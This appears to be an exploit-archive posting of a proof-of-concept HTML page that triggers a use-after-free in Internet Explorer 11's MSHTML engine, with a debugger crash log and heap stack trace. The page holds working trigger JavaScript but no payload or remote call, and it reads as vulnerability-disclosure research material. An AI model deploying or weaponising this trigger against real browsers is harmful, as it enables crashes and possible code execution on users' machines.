Internet Explorer 11 - MSHTML!CMarkupPointer::UnEmbed Use After Free
2016-04-15 20:05:34<!DOCTYPE html>
<html>
<head>
<meta http-equiv="refresh" content="1"/>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="Expires" content="0" />
<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" />
<meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" />
<meta http-equiv="Pragma" content="no-cache" />
<style type="text/css">
body{
background-color:lime;
font-color:white;
};
</style>
<script type='text/javascript'></script>
<script type="text/javascript" language="JavaScript">
/*
* Title: MSHTML!CMarkupPointer::UnEmbed Use After Free
* Author: Marcin Ressel @ressel_m
* Date: 15.04.2016
* Vendor Homepage: www.microsoft.com
* Software Link: n/a
* Version: IE11 (latest)
* Tested on: Windows 10 x64 && Windows 7 x64
* --------------------------------------------------
* IE 11 MSHTML!CMarkupPointer::UnEmbed Use After Free
* IE 11.0.9600.18230 (win7)
* Windows 7 x64, Windows 10 x64 (11.162.10586.0)
* 11.04.2016
*
0:019> g
(490.1194): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0df7bbd0 ecx=126e4f38 edx=00000000 esi=12750fd0 edi=00000000
eip=67028aa8 esp=0a97a658 ebp=0a97a7bc iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212
MSHTML!CSpliceTreeEngine::HandleRemovalMutations+0xdb:
67028aa8 8b7610 mov esi,dword ptr [esi+10h] ds:002b:12750fe0=????????
0:007> !heap -p -a esi
address 12750fd0 found in
_DPH_HEAP_ROOT @ ad81000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
ffe3410: 12750000 2000
747790b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77a5251c ntdll!RtlDebugFreeHeap+0x0000002f
77a0b2a2 ntdll!RtlpFreeHeap+0x0000005d
779b2ce5 ntdll!RtlFreeHeap+0x00000142
74a4adeb vrfcore!VerifierSetAPIClassName+0x0000017b
769d14bd kernel32!HeapFree+0x00000014
67011a67 MSHTML!MemoryProtection::HeapFree+0x00000046
66b08fff MSHTML!CMarkupPointer::UnEmbed+0x000000bd
66d75a96 MSHTML!CMarkupPointer::MoveToGap+0x00000094
67006183 MSHTML!CMarkupPointer::FindTextIdentity+0x000002b7
66d75a22 MSHTML!CDOMTextNode::GetParentNodeHelper+0x0000004b
6719351c MSHTML!CDOMNode::AppendTransientRegisteredObservers+0x00000035
66f192f7 MSHTML!CSpliceTreeEngine::HandleRemovalMutations+0xffef092a
66b47967 MSHTML!CSpliceTreeEngine::RemoveSplice+0x000051ef
66b49c9f MSHTML!CMarkup::SpliceTreeInternal+0x000000a8
66d8dc9b MSHTML!CDoc::CutCopyMove+0x00000d93
66b49a27 MSHTML!RemoveWithBreakOnEmpty+0x00000097
66b3400d MSHTML!CElement::InjectInternal+0x0000043f
66dd76d5 MSHTML!CElement::InjectTextOrHTML+0x00000323
66a857e8 MSHTML!CElement::Var_set_innerText+0x00000050
66a8576c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_innerText+0x0000003c
7330c572 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000182
7330d075 jscript9!<lambda_73b9149c3f1de98aaab9368b6ff2ae9d>::operator()+0x0000009d
7330cfb2 jscript9!Js::JavascriptOperators::CallSetter+0x00000076
7333fdcc jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x00000341
7333fb83 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040
7333fc03 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d
73308800 jscript9!Js::InterpreterStackFrame::Process+0x00002c1e
7330bd59 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200
*/
function testcase()
{
var elements = [];
var eFrame = document.getElementById("e1");
var tmp = eFrame.contentWindow.document.createElement("body");
elements.push(tmp);
tmp = eFrame.contentWindow.document.createElement("cite");
elements.push(tmp);
tmp = eFrame.contentWindow.document.createElement("frame");
elements.push(tmp);
tmp = eFrame.contentWindow.document.createElement("ellipse");
elements.push(tmp);
tmp = eFrame.contentWindow.document.createElement("html");
elements.push(tmp);
tmp = eFrame.contentWindow.document.createElement("command");
elements.push(tmp);
var trg = document;
trg.body.appendChild(elements[0]);
trg.body.appendChild(elements[1]);
trg.body.appendChild(elements[2]);
trg.body.appendChild(elements[3]);
trg.body.appendChild(elements[4]);
trg.body.appendChild(elements[5]);
dom = document.getElementsByTagName("*");
doc = document;
trg = dom[10];
var observer = new MutationObserver(new Function("",""));
observer.observe(trg,{ attributes: true, childList: true, characterData: true, subtree: true});
trg.insertAdjacentHTML("afterBegin","<tbody><ol><script><polygon><circle><table></table><command><table></table><rp>");
trg.innerText = '12345';
}
</script>
<title>IE 11.0.9600.18230 MSHTML!CMarkupPointer::UnEmbed UAF POC</title>
</head>
<body onload='testcase();'>
<iframe id='t1'></iframe><iframe id='e1'></iframe>
<div id='oneUnArg'>||||</div>
</body>
</html>
Fixes
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